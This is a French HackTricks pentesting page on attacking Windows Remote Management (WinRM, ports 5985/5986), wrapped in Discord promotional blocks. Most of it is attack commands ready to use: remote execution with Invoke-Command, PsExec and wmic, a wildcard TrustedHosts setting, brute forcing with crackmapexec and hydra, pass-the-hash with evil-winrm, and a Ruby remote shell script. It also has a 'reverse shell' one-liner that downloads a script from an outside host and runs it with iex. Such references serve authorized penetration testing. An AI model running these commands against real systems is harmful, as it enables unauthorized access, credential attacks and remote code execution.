hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

16 KiB
Raw Blame History

5985,5986 - Pentesting WinRM

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Rejoignez le serveur HackenProof Discord pour communiquer avec des pirates expérimentés et des chasseurs de primes !

Perspectives de piratage
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités de piratage en temps réel
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !

WinRM

Windows Remote Management (WinRM) est un protocole Microsoft qui permet la gestion à distance des machines Windows via HTTP(S) en utilisant SOAP. En interne, il utilise WMI, vous pouvez donc le considérer comme une API basée sur HTTP pour WMI.

Si WinRM est activé sur la machine, il est trivial d'administrer à distance la machine depuis PowerShell. En fait, vous pouvez simplement accéder à une session PowerShell à distance sur la machine (comme si vous utilisiez SSH !)

La manière la plus simple de détecter si WinRM est disponible est de vérifier si le port est ouvert. WinRM écoutera sur l'un des deux ports :

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Si l'un de ces ports est ouvert, WinRM est configuré et vous pouvez essayer d'entrer dans une session à distance.

Initiation d'une session WinRM.

Nous pouvons configurer PowerShell pour fonctionner avec WinRM. Selon la documentation de Microsoft, Enable-PSRemoting est une cmdlet qui configure l'ordinateur pour recevoir des commandes PowerShell à distance. Si nous avons accès à une invite PowerShell élevée sur la victime, nous pouvons l'activer et ajouter tout "attaquant" en tant qu'hôtes de confiance. Nous pouvons exécuter les deux commandes suivantes :

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Cela ajoute un joker au paramètre trustedhosts. Soyez prudent quant à ce que cela implique. Remarque : j'ai également dû changer le type de réseau sur ma machine d'attaque de "Public" à "Work".

Vous pouvez également activer WinRM à distance **_en utilisant _wmic:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Tester si configuré

Une fois la machine d'attaque configurée, utilisez la fonction Test-WSMan pour tester si la cible est configurée pour WinRM. Vous devriez voir des informations renvoyées sur la version du protocole et wsmid :

Dans ce cas, le premier est configuré et le second ne l'est pas.

Exécuter une commande

Maintenant, nous pouvons utiliser Invoke-Command de PowerShell pour exécuter à distance une commande sur la cible via WinRM. Pour exécuter à distance ipconfig et voir la sortie :

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Vous pouvez également exécuter une commande de votre console PS actuelle via Invoke-Command. Supposons que vous ayez localement une fonction appelée enumeration et que vous souhaitiez l'exécuter sur un ordinateur distant, vous pouvez le faire :

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Exécuter un script

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Obtenir un shell inversé

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Obtenir une session PS

Ou, si vous voulez entrer directement dans une session PowerShell interactive, utilisez la fonction Enter-PSSession :

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

La session s'exécutera dans un nouveau processus (wsmprovhost) à l'intérieur de la "victime"

Forcer l'ouverture de WinRM

Si vous voulez vraiment utiliser PS Remoting et WinRM mais que la cible n'est pas configurée pour cela, vous pourriez "forcer" son activation via une seule commande. Je ne recommande pas cela, mais si vous voulez vraiment utiliser WinRM ou PSRemoting, alors faites-le de cette manière. Par exemple, en utilisant PSExec :

PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Sauvegarde et restauration des sessions

Cela ne fonctionnera pas si la langue est restreinte sur l'ordinateur distant.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

À l'intérieur de ces sessions, vous pouvez charger des scripts PS en utilisant Invoke-Command.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Erreurs

Si vous rencontrez l'erreur suivante :

enter-pssession : La connexion au serveur distant 10.10.10.175 a échoué avec le message d'erreur suivant : Le client WinRM ne peut pas traiter la requête. Si le schéma d'authentification est différent de Kerberos, ou si l'ordinateur client n'est pas joint à un domaine, le transport HTTPS doit être utilisé ou la machine de destination doit être ajoutée à la configuration TrustedHosts. Utilisez winrm.cmd pour configurer TrustedHosts. Notez que les ordinateurs de la liste TrustedHosts peuvent ne pas être authentifiés. Vous pouvez obtenir plus d'informations en exécutant la commande suivante : winrm help config. Pour plus d'informations, consultez le sujet d'aide sur le dépannage à distance about_Remote_Troubleshooting.

Essayez sur le client (informations provenant ici):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Perspectives de Hacking
Engagez-vous avec du contenu qui explore les sensations fortes et les défis du hacking

Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux analyses en temps réel

Dernières Annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Connexion WinRM sous linux

Brute Force

Attention, le force brute sur WinRM pourrait bloquer les utilisateurs.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Utilisation d'evil-winrm

gem install evil-winrm

Lisez la documentation sur son github : https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Pour utiliser evil-winrm pour se connecter à une adresse IPv6, créez une entrée à l'intérieur de /etc/hosts en définissant un nom de domaine pour l'adresse IPv6 et connectez-vous à ce domaine.

Transmettre le hachage avec evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Utilisation d'une machine PS-docker

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Utilisation d'un script ruby

Code extrait d'ici: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Références

Commandes automatiques HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Perspectives de piratage
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités de piratage en temps réel
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :